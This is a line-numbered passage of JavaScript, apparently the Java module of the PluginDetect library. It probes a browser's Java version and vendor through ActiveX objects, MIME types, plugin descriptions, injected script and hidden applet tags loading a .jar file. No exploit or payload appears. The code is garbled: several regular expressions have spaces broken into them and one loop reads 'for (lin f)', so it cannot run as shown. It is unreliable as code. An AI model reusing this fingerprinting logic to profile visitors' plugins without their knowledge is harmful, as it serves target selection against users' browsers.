      597.         if (/[^\s]/.test(g[n + 1])){
      598.           p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
      599.         }
      600.       }
      601.       p += a + j.openTag + "/" + f + ">"
      602.     }
      603.     else {
      604.       p = a
      605.     }
      606.     if (!j.div){
      607.       i = m.getElementById(j.divID);
      608.       if (i){
      609.         j.div = i
      610.       }
      611.       else {
      612.         j.div = m.createElement("div");
      613.         j.div.id = j.divID
      614.       }
      615.       j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
      616.        + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
      617.       "px", "verticalAlign", "baseline", "display", "block"]));
      618.       if (!i){
      619.         j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
      620.         j.insertDivInBody(j.div)
      621.       }
      622.     }
      623.     if (j.div && j.div.parentNode){
      624.       j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
      625.       pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
      626.       try {
      627.         o.innerHTML = p
      628.       }
      629.       catch (l){
      630.       }
      631.       ;
      632.       try {
      633.         j.div.appendChild(o)
      634.       }
      635.       catch (l){
      636.       }
      637.       ;
      638.       return {
      639.         span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
      640.       }
      641.     }
      642.     return {
      643.       span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
      644.     }
      645.   }
      646.   , file : {
      647.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
      648.     , c){
      649.       var b = this , e = b.$, a;
      650.       if (d && e.isDefined(c)){
      651.         if (!d[b.any]){
      652.           d[b.any] = []
      653.         }
      654.         if (!d[b.valid]){
      655.           d[b.valid] = []
      656.         }
      657.         d[b.any].push(c);
      658.         a = b.split(f, c);
      659.         if (a){
      660.           d[b.valid].push(a)
      661.         }
      662.       }
      663.     }
      664.     , getValidLength : function (a){
      665.       return a && a[this .valid] ? a[this .valid].length : 0
      666.     }
      667.     , getAnyLength : function (a){
      668.       return a && a[this .any] ? a[this .any].length : 0
      669.     }
      670.     , getValid : function (c, a){
      671.       var b = this ;
      672.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
      673.     }
      674.     , getAny : function (c, a){
      675.       var b = this ;
      676.       return c && c[b.any] ? b.get(c[b.any], a) : null
      677.     }
      678.     , get : function (d, a){
      679.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
      680.       return (0 > b || b > c) ? null : d[b]
      681.     }
      682.     , split : function (g, c){
      683.       var b = this , e = b.$, f = null, a, d;
      684.       g = g ? g.replace(".", "\.") : "";
      685.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
      686.       if (e.isString(c) && d.test(c)){
      687.         a = (RegExp.$1).split("/");
      688.         f = {
      689.           name : a[a.length - 1], ext : RegExp.$2, full : c
      690.         }
      691.         ;
      692.         a[a.length - 1] = "";
      693.         f.path = a.join("/")
      694.       }
      695.       return f
      696.     }
      697.     , z : 0
      698.   }
      699.   , Plugins : {
      700.     java : {
      701.       mimeType : ["application/x-java-applet", "application/x-java-vm",
      702.       "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
      703.       navigator : {
      704.         a : window.navigator.javaEnabled(), javaEnabled : function (){
      705.           return this .a
      706.         }
      707.         , mimeObj : 0, pluginObj : 0
      708.       }
      709.       , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
      710.         var a = this , b = a.$;
      711.         a.debug = 1
      712.       }
      713.       , isDisabled : {
      714.         $ : 1, DTK : function (){
      715.           var a = this , c = a.$, b = a.$;
      716.           if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
      717.           isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
      718.           "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
      719.             return 1
      720.           }
      721.           return 0
      722.         }
      723.         , AXO : function (){
      724.           var a = this , c = a.$, b = a.$;
      725.           return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
      726.           ))
      727.         }
      728.         , navMime : function (){
      729.           var b = this , d = b.$, c = b.$, a = c.navigator;
      730.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
      731.             return 1
      732.           }
      733.           return 0
      734.         }
      735.         , navPlugin : function (){
      736.           var b = this , d = b.$, c = b.$, a = c.navigator;
      737.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
      738.             return 1
      739.           }
      740.           return 0
      741.         }
      742.         , windowDotJava : function (){
      743.           var a = this , c = a.$, b = a.$;
      744.           if (!window.java){
      745.             return 1
      746.           }
      747.           if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)){
      748.             return 1
      749.           }
      750.           return 0
      751.         }
      752.         , allApplets : function (){
      753.           var b = this , d = b.$, c = b.$, a = c.navigator;
      754.           if (d.OS >= 20){
      755.             return 0
      756.           }
      757.           if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
      758.           getProperty()[0]){
      759.             return 1
      760.           }
      761.           if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
      762.           mimeObj &&! c.lang.System.getProperty()[0]){
      763.             return 1
      764.           }
      765.           return 0
      766.         }
      767.         , AppletTag : function (){
      768.           var b = this , d = b.$, c = b.$, a = c.navigator;
      769.           return d.isIE ?! a.javaEnabled() : 0
      770.         }
      771.         , ObjectTag : function (){
      772.           var a = this , c = a.$, b = a.$;
      773.           return c.isIE ?! c.ActiveXEnabled : 0
      774.         }
      775.         , z : 0
      776.       }
      777.       , getVerifyTagsDefault : function (){
      778.         var a = this , c = a.$, b = [1, 0, 1];
      779.         if (c.OS >= 20){
      780.           return b
      781.         }
      782.         if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
      783.         compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 >
      784.         c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10
      785.         )){
      786.           b = [1, 1, 1]
      787.         }
      788.         return b
      789.       }
      790.       , getVersion : function (j, g, i){
      791.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
      792.         l = null, c = null;
      793.         if (b.getVersionDone === null){
      794.           b.OTF = 0;
      795.           k.mimeObj = d.hasMimeType(b.mimeType);
      796.           if (k.mimeObj){
      797.             k.pluginObj = k.mimeObj.enabledPlugin
      798.           }
      799.           if (h){
      800.             h.begin()
      801.           }
      802.         }
      803.         a.setVerifyTagsArray(i);
      804.         d.file.save(b, ".jar", g);
      805.         if (b.getVersionDone === 0){
      806.           if (a.should_Insert_Query_Any()){
      807.             e = a.insert_Query_Any();
      808.             b.setPluginStatus(e[0], e[1], f)
      809.           }
      810.           return
      811.         }
      812.         if ((!f || b.debug) && b.DTK.query().version){
      813.           f = b.DTK.version
      814.         }
      815.         if ((!f || b.debug) && b.navMime.query().version){
      816.           f = b.navMime.version
      817.         }
      818.         if ((!f || b.debug) && b.navPlugin.query().version){
      819.           f = b.navPlugin.version
      820.         }
      821.         if ((!f || b.debug) && b.AXO.query().version){
      822.           f = b.AXO.version
      823.         }
      824.         if (b.nonAppletDetectionOk(f)){
      825.           c = f
      826.         }
      827.         if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
      828.           e = b.lang.System.getProperty();
      829.           if (e[0]){
      830.             f = e[0];
      831.             c = e[0];
      832.             l = e[1]
      833.           }
      834.         }
      835.         b.setPluginStatus(c, l, f);
      836.         if (a.should_Insert_Query_Any()){
      837.           e = a.insert_Query_Any();
      838.           if (e[0]){
      839.             c = e[0];
      840.             l = e[1]
      841.           }
      842.         }
      843.         b.setPluginStatus(c, l, f)
      844.       }
      845.       , nonAppletDetectionOk : function (b){
      846.         var d = this , e = d.$, a = d.navigator, c = 1;
      847.         if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
      848.         .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
      849.           c = 0
      850.         }
      851.         else {
      852.           if (e.OS >= 20){
      853.           }
      854.           else {
      855.             if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
      856.             ()){
      857.               c = 0
      858.             }
      859.           }
      860.         }
      861.         return c
      862.       }
      863.       , setPluginStatus : function (d, f, a){
      864.         var c = this , e = c.$, b;
      865.         a = a || c.version0;
      866.         if (0 < c.OTF){
      867.           d = d || c.lang.System.getProperty()[0]
      868.         }
      869.         if (c.OTF < 3){
      870.           b = d ? 1 : (a ?- 0.2 :- 1);
      871.           if (c.installed === null || b > c.installed){
      872.             c.installed = b
      873.           }
      874.         }
      875.         if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
      876.         ()[0]){
      877.           c.installed = a ?- 0.2 :- 1
      878.         }
      879.         ;
      880.         if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
      881.           c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
      882.           0.5 :- 0.5
      883.         }
      884.         if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
      885.           if (d){
      886.             c.installed = 1
      887.           }
      888.           else {
      889.             if (c.NOTF.isJavaActive(1) == 1){
      890.               if (a){
      891.                 c.installed = 1;
      892.                 d = a
      893.               }
      894.               else {
      895.                 c.installed = 0
      896.               }
      897.             }
      898.             else {
      899.               if (a){
      900.                 c.installed =- 0.2
      901.               }
      902.               else {
      903.                 c.installed =- 1
      904.               }
      905.             }
      906.           }
      907.         }
      908.         ;
      909.         if (a){
      910.           c.version0 = e.formatNum(e.getNum(a))
      911.         }
      912.         if (d){
      913.           c.version = e.formatNum(e.getNum(d))
      914.         }
      915.         if (f && e.isString(f)){
      916.           c.vendor = f
      917.         }
      918.         if (!c.vendor){
      919.           c.vendor = ""
      920.         }
      921.         if (c.verify && c.verify.isEnabled()){
      922.           c.getVersionDone = 0
      923.         }
      924.         else {
      925.           if (c.getVersionDone != 1){
      926.             if (c.OTF < 2){
      927.               c.getVersionDone = 0
      928.             }
      929.             else {
      930.               c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
      931.             }
      932.           }
      933.         }
      934.       }
      935.       , DTK : {
      936.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
      937.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
      938.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
      939.         "application/java-deployment-toolkit",
      940.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
      941.         (){
      942.           return this .$.isDisabled.DTK()
      943.         }
      944.         , query : function (){
      945.           var k = this , g = k.$, d = k.$, j, l, h, m = {
      946.           }
      947.           , f = {
      948.           }
      949.           , a, c = null, i = null, b = (k.hasRun || k.disabled());
      950.           k.hasRun = 1;
      951.           if (b){
      952.             return k
      953.           }
      954.           k.status = 0;
      955.           if (g.isIE && 6 <= g.verIE){
      956.             for (l = 0; l < k.classID.length; l ++ ){
      957.               k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
      958.               c = g.getDOMobj(k.HTML);
      959.               try {
      960.                 if (c && c.jvms){
      961.                   break
      962.                 }
      963.               }
      964.               catch (j){
      965.               }
      966.             }
      967.           }
      968.           else {
      969.             if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
      970.               k.HTML = g.insertHTML("object", ["type", h.type], []);
      971.               c = g.getDOMobj(k.HTML)
      972.             }
      973.           }
      974.           if (c){
      975.             try {
      976.               a = c.jvms;
      977.               if (a){
      978.                 i = a.getLength();
      979.                 if (g.isNum(i)){
      980.                   k.status = 0 < i ? 1 :- 1;
      981.                   for (l = 0; l < i; l ++ ){
      982.                     h = g.getNum(a.get(i - 1 - l).version);
      983.                     if (h){
      984.                       k.VERSIONS.push(h);
      985.                       f["a" + g.formatNum(h)] = 1
      986.                     }
      987.                   }
      988.                 }
      989.               }
      990.             }
      991.             catch (j){
      992.             }
      993.           }
      994.           h = 0;
      995.           for (lin f){
      996.             h ++
      997.           }
      998.           if (h && h !== k.VERSIONS.length){
      999.             k.VERSIONS = []
      1000.           }
      1001.           if (k.VERSIONS.length){
      1002.             k.version = g.formatNum(k.VERSIONS[0])
      1003.           }
      1004.           ;
      1005.           return k
      1006.         }
      1007.       }
      1008.       , AXO : {
      1009.         $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function (){
      1010.           return this .$.isDisabled.AXO()
      1011.         }
      1012.         , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
      1013.         5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function (){
      1014.           var a = this , e = a.$, b = a.$, c = (a.hasRun || a.disabled());
      1015.           a.hasRun = 1;
      1016.           if (c){
      1017.             return a
      1018.           }
      1019.           var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
      1020.           0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l = {
      1021.           }
      1022.           ;
      1023.           if (b.minIEver <= e.verIE){
      1024.             i = a.search(j, j, d);
      1025.             if (0 < i.length && d){
      1026.               i = a.search(k, k, d)
      1027.             }
      1028.           }
      1029.           else {
      1030.             if (d){
      1031.               i = a.search(f, f, true)
      1032.             }
      1033.             if (i.length == 0){
      1034.               i = a.search(h, g, false)
      1035.             }
      1036.           }
      1037.           if (i.length){
      1038.             a.version = i[0];
      1039.             a.VERSIONS = [].concat(i)
      1040.           }
      1041.           ;
      1042.           return a
      1043.         }
      1044.         , search : function (a, j, p){
      1045.           var h, d, f = this , e = f.$, k = f.$, n, c, l, q, b, o, r, i = [];
      1046.           if (0 < e.compareNums(a.join(","), j.join(","))){
      1047.             j = a
      1048.           }
      1049.           j = e.formatNum(j.join(","));
      1050.           var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
      1051.            < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
      1052.           for (h = 0; h < f.JavaVersions.length; h ++ ){
      1053.             d = f.JavaVersions[h];
      1054.             n = "JavaPlugin." + d[0] + "" + d[1];
      1055.             b = d[0] + "." + d[1] + ".";
      1056.             for (l = d[2];
      1057.             l >= 0; l -- ){
      1058.               r = "JavaWebStart.isInstalled." + b + l + ".0";
      1059.               if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
      1060.               )){
      1061.                 continue
      1062.               }
      1063.               m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
      1064.               for (q = d[3];
      1065.               q >= 0; q -- ){
      1066.                 c = l + "_" + (q < 10 ? "0" + q : q);
      1067.                 o = n + c;
      1068.                 if (e.getAXO(o) && (m || e.getAXO(r))){
      1069.                   i.push(b + c);
      1070.                   if (!p){
      1071.                     return i
      1072.                   }
      1073.                 }
      1074.                 if (o == g){
      1075.                   return i
      1076.                 }
      1077.               }
      1078.               if (e.getAXO(n + l) && (m || e.getAXO(r))){
      1079.                 i.push(b + l);
      1080.                 if (!p){
      1081.                   return i
      1082.                 }
      1083.               }
      1084.               if (n + l == g){
      1085.                 return i
      1086.               }
      1087.             }
      1088.           }
      1089.           return i
      1090.         }
      1091.       }
      1092.       , navMime : {
      1093.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
      1094.          : 0, disabled : function (){
      1095.           return this .$.isDisabled.navMime()
      1096.         }
      1097.         , query : function (){
      1098.           var i = this , f = i.$, a = i.$, b = (i.hasRun || i.disabled());
      1099.           i.hasRun = 1;
      1100.           if (b){
      1101.             return i
      1102.           }
      1103.           ;
      1104.           var n =/^\ s * application \/ x - java - applet;
      1105.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
      1106.           {
      1107.           }
      1108.           , c = f.formatNum("0");
      1109.           for (l = 0; l < navigator.mimeTypes.length; l ++ ){
      1110.             o = navigator.mimeTypes[l];
      1111.             m = o ? o.enabledPlugin : 0;
      1112.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
      1113.             if (g && m && (m.description || m.name)){
      1114.               if (!k[h + g]){
      1115.                 i.length ++
      1116.               }
      1117.               k[h + g] = o.type;
      1118.               if (0 < f.compareNums(g, c)){
      1119.                 c = g
      1120.               }
      1121.             }
      1122.           }
      1123.           g = k[h + c];
      1124.           if (g){
      1125.             o = f.hasMimeType(g);
      1126.             i.mimeObj = o;
      1127.             i.pluginObj = o ? o.enabledPlugin : 0;
      1128.             i.mimetype = g;
      1129.             i.version = c
      1130.           }
      1131.           ;
      1132.           return i
      1133.         }
      1134.       }
      1135.       , navPlugin : {
      1136.         $ : 1, hasRun : 0, version : "", disabled : function (){
      1137.           return this .$.isDisabled.navPlugin()
      1138.         }
      1139.         , query : function (){
      1140.           var m = this , e = m.$, c = m.$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
      1141.            = (m.hasRun || m.disabled());
      1142.           m.hasRun = 1;
      1143.           if (b){
      1144.             return m
      1145.           }
      1146.           ;
      1147.           a = h.pluginObj.name || "";
      1148.           i = h.pluginObj.description || "";
      1149.           if (!f || c.debug){
      1150.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
      1151.             s * [Update] +\ s * ( \ d * )) ?/ i;
      1152.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
      1153.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
      1154.               $3 ? RegExp.$3 : "0")
      1155.             }
      1156.           }
      1157.           if (!f || c.debug){
      1158.             g =/ Java[ ^\ d] * Plug - in  / i;
      1159.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
      1160.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
      1161.             if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
      1162.             formatNum("2")) >= 0)){
      1163.               l = 0
      1164.             }
      1165.             if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
      1166.             formatNum("2")) >= 0)){
      1167.               k = 0
      1168.             }
      1169.             d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
      1170.             if (d){
      1171.               f = d
      1172.             }
      1173.           }
      1174.           if (!f && e.isSafari && e.OS == 2){
      1175.             j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
      1176.             if (j){
      1177.               l = e.getNum(j.description);
      1178.               if (l){
      1179.                 f = l
      1180.               }
      1181.             }
      1182.           }
      1183.           ;
      1184.           if (f){
      1185.             m.version = e.formatNum(f)
      1186.           }
      1187.           ;
      1188.           return m
      1189.         }
      1190.       }
      1191.       , lang : {
      1192.         $ : 1, System : {
      1193.           $ : 1, hasRun : 0, result : [null, null], disabled : function (){
      1194.             return this .$.isDisabled.windowDotJava()
      1195.           }
      1196.           , getPropertyHas : function (a){
      1197.             var b = this , d = b.$, c = b.getProperty()[0];
      1198.             return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
      1199.           }
      1200.           , getProperty : function (){
      1201.             var f = this , g = f.$, d = f.$, i, h = {
      1202.             }
      1203.             , b = f.hasRun || f.disabled();
      1204.             f.hasRun = 1;
      1205.             if (!b){
      1206.               var a = "java_qqq990";
      1207.               g[a] = null;
      1208.               try {
      1209.                 var c = document.createElement("script");
      1210.                 c.type = "text/javascript";
      1211.                 c.appendChild(document.createTextNode('
      1212. (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
      1213. java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
      1214.                 "=a||0})();"));
      1215.                 g.head.insertBefore(c, g.head.firstChild);
      1216.                 g.head.removeChild(c)
      1217.               }
      1218.               catch (i){
      1219.               }
      1220.               if (g[a] && g.isArray(g[a])){
      1221.                 f.result = [].concat(g[a])
      1222.               }
      1223.             }
      1224.             return f.result
      1225.           }
      1226.         }
      1227.       }
      1228.       , applet : {
      1229.         $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
      1230.         (){
      1231.           var c = this .results, a, b = [];
      1232.           for (a = 0; a < c.length; a ++ ){
      1233.             b = c[a];
      1234.             if (b[0]){
      1235.               break
      1236.             }
      1237.           }
      1238.           return [].concat(b)
      1239.         }
      1240.         , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
      1241.         allowed : [1, 1, 1], VerifyTagsHas : function (c){
      1242.           var d = this , b;
      1243.           for (b = 0; b < d.allowed.length; b ++ ){
      1244.             if (d.allowed[b] === c){
      1245.               return 1
      1246.             }
      1247.           }
      1248.           return 0
      1249.         }
      1250.         , saveAsVerifyTagsArray : function (c){
      1251.           var b = this , d = b.$, a;
      1252.           if (d.isArray(c)){
      1253.             for (a = 0; a < b.allowed.length; a ++ ){
      1254.               if (d.isNum(c[a])){
      1255.                 if (0 > c[a]){
      1256.                   c[a] = 0
      1257.                 }
      1258.                 if (c[a] > 3){
      1259.                   c[a] = 3
      1260.                 }
      1261.                 b.allowed[a] = c[a]
      1262.               }
      1263.             }
      1264.           }
      1265.         }
      1266.         , setVerifyTagsArray : function (d){
      1267.           var b = this , c = b.$, a = b.$;
      1268.           if (a.getVersionDone === null){
      1269.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
      1270.           }
      1271.           if (a.debug || (a.verify && a.verify.isEnabled())){
      1272.             b.saveAsVerifyTagsArray([3, 3, 3])
      1273.           }
      1274.           else {
      1275.             if (d){
      1276.               b.saveAsVerifyTagsArray(d)
      1277.             }
      1278.           }
      1279.         }
      1280.         , allDisabled : function (){
      1281.           return this .$.isDisabled.allApplets()
      1282.         }
      1283.         , isDisabled : function (d){
      1284.           var b = this , c = b.$, a = b.$;
      1285.           if (d == 2 &&! c.isIE){
      1286.             return 1
      1287.           }
      1288.           if (d === 0 || d == 2){
      1289.             return a.isDisabled.ObjectTag()
      1290.           }
      1291.           if (d == 1){
      1292.             return a.isDisabled.AppletTag()
      1293.           }
      1294.         }
      1295.         , can_Insert_Query : function (b){
      1296.           var a = this ;
      1297.           if (a.HTML[b]){
      1298.             return 0
      1299.           }
      1300.           return !a.isDisabled(b)
      1301.         }
      1302.         , can_Insert_Query_Any : function (){
      1303.           var b = this , a;
      1304.           for (a = 0; a < b.results.length; a ++ ){
      1305.             if (b.can_Insert_Query(a)){
      1306.               return 1
      1307.             }
      1308.           }
      1309.           return 0
      1310.         }
      1311.         , should_Insert_Query : function (d){
      1312.           var b = this , e = b.allowed, c = b.$, a = b.$;
      1313.           if (!b.can_Insert_Query(d)){
      1314.             return 0
      1315.           }
      1316.           if (e[d] == 3){
      1317.             return 1
      1318.           }
      1319.           if (e[d] == 2.8 &&! b.getResult()[0]){
      1320.             return 1
      1321.           }
      1322.           if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]){
      1323.             return 1
      1324.           }
      1325.           if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]){
      1326.             return 1
      1327.           }
      1328.           if (!a.nonAppletDetectionOk(a.version0)){
      1329.             if (e[d] == 2){
      1330.               return 1
      1331.             }
      1332.             if (e[d] == 1 &&! b.getResult()[0]){
      1333.               return 1
      1334.             }
      1335.           }
      1336.           return 0
      1337.         }
      1338.         , should_Insert_Query_Any : function (){
      1339.           var b = this , a;
      1340.           for (a = 0; a < b.allowed.length; a ++ ){
      1341.             if (b.should_Insert_Query(a)){
      1342.               return 1
      1343.             }
      1344.           }
      1345.           return 0
      1346.         }
      1347.         , query : function (f){
      1348.           var h, a = this , g = a.$, d = a.$, i = null, j = null, b = a.results, c;
      1349.           if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)){
      1350.             return
      1351.           }
      1352.           c = g.getDOMobj(a.HTML[f], true);
      1353.           if (c){
      1354.             try {
      1355.               i = g.getNum(c.getVersion() + " ");
      1356.               j = c.getVendor() + " ";
      1357.               c.statusbar(g.winLoaded ? " " : " ")
      1358.             }
      1359.             catch (h){
      1360.             }
      1361.             if (i && g.isStrNum(i)){
      1362.               b[f] = [i, j]
      1363.             }
      1364.             else {
      1365.             }
      1366.             ;
      1367.             try {
      1368.               if (g.isIE && i && c.readyState != 4){
      1369.                 g.garbage = true;
      1370.                 c.parentNode.removeChild(c)
      1371.               }
      1372.             }
      1373.             catch (h){
      1374.             }
      1375.           }
      1376.         }
      1377.         , insert_Query_Any : function (){
      1378.           var d = this , i = d.$, e = d.$, l = d.results, p = d.HTML, a =
      1379.           "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
      1380.           if (!m){
      1381.             return d.getResult()
      1382.           }
      1383.           if (e.OTF < 1){
      1384.             e.OTF = 1
      1385.           }
      1386.           if (d.allDisabled()){
      1387.             return d.getResult()
      1388.           }
      1389.           if (e.OTF < 1.5){
      1390.             e.OTF = 1.5
      1391.           }
      1392.           var j = m.name + m.ext, h = m.path;
      1393.           var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
      1394.           "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
      1395.           n.mimeObj.type : e.mimeType[0];
      1396.           if (d.should_Insert_Query(0)){
      1397.             if (e.OTF < 2){
      1398.               e.OTF = 2
      1399.             }
      1400.             ;
      1401.             p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
      1402.             concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
      1403.             f).concat(o), a, e);
      1404.             l[0] = [0, 0];
      1405.             d.query(0)
      1406.           }
      1407.           if (d.should_Insert_Query(1)){
      1408.             if (e.OTF < 2){
      1409.               e.OTF = 2
      1410.             }
      1411.             ;
      1412.             p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
      1413.             "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
      1414.             , a].concat(c).concat(f), [].concat(c), a, e);
      1415.             l[1] = [0, 0];
      1416.             d.query(1)
      1417.           }
      1418.           if (d.should_Insert_Query(2)){
      1419.             if (e.OTF < 2){
      1420.               e.OTF = 2
      1421.             }
      1422.             ;
      1423.             p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
      1424.             ].concat(f).concat(o), a, e) : i.insertHTML();
      1425.             l[2] = [0, 0];
      1426.             d.query(2)
      1427.           }
      1428.           if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
      1429.             d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
      1430.           }
      1431.           if (!d.DummySpanTagHTML){
      1432.             d.DummySpanTagHTML = i.insertHTML("", [], [], a)
      1433.           }
      1434.           ;
      1435.           var k = e.NOTF;
      1436.           if (e.OTF < 3 && k.shouldContinueQuery()){
      1437.             e.OTF = 3;
      1438.             k.onIntervalQuery = i.handler(k.$onIntervalQuery, k);
      1439.             if (!i.winLoaded){
      1440.               i.WLfuncs0.push([k.winOnLoadQuery, k])
      1441.             }
      1442.             setTimeout(k.onIntervalQuery, k.intervalLength)
      1443.           }
      1444.           ;
      1445.           return d.getResult()
      1446.         }
      1447.       }
      1448.       , NOTF : {
      1449.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
      1450.         function (){
      1451.           var e = this , d = e.$, c = e.$, b = c.applet, a;
      1452.           for (a = 0; a < b.results.length; a ++ ){
      1453.             if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
      1454.              &&! b.getResult()[0])) && e.isAppletActive(a) >= 0){
      1455.               return 1
      1456.             }
      1457.           }
      1458.           return 0
      1459.         }
      1460.         , isJavaActive : function (d){
      1461.           var f = this , c = f.$, a, b, e =- 9;
      1462.           for (a = 0; a < c.applet.HTML.length; a ++ ){
      1463.             b = f.isAppletActive(a, d);
      1464.             if (b > e){
      1465.               e = b
      1466.             }
      1467.           }
      1468.           return e
      1469.         }
      1470.         , isAppletActive : function (c, a){
      1471.           var d = this , b = d.$.applet.active;
      1472.           if (!a){
      1473.             b[c] = d.isAppletActive_(c)
      1474.           }
      1475.           return b[c]
      1476.         }
      1477.         , isAppletActive_ : function (d){
      1478.           var g = this , f = g.$, b = g.$, l = b.navigator, a = b.applet, h = a.HTML[d],
      1479.           i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
      1480.           count);
      1481.           if (j ==- 2){
      1482.             return  - 2
      1483.           }
      1484.           try {
      1485.             if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
      1486.               return 1
      1487.             }
      1488.           }
      1489.           catch (i){
      1490.           }
      1491.           for (k = 0; k < a.active.length; k ++ ){
      1492.             if (0 < a.active[k]){
      1493.               c = 1
      1494.             }
      1495.           }
      1496.           if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
      1497.           tagName == "object" || c)) || b.lang.System.getProperty()[0]))){
      1498.             return 1
      1499.           }
      1500.           if (0 > j){
      1501.             return  - 1
      1502.           }
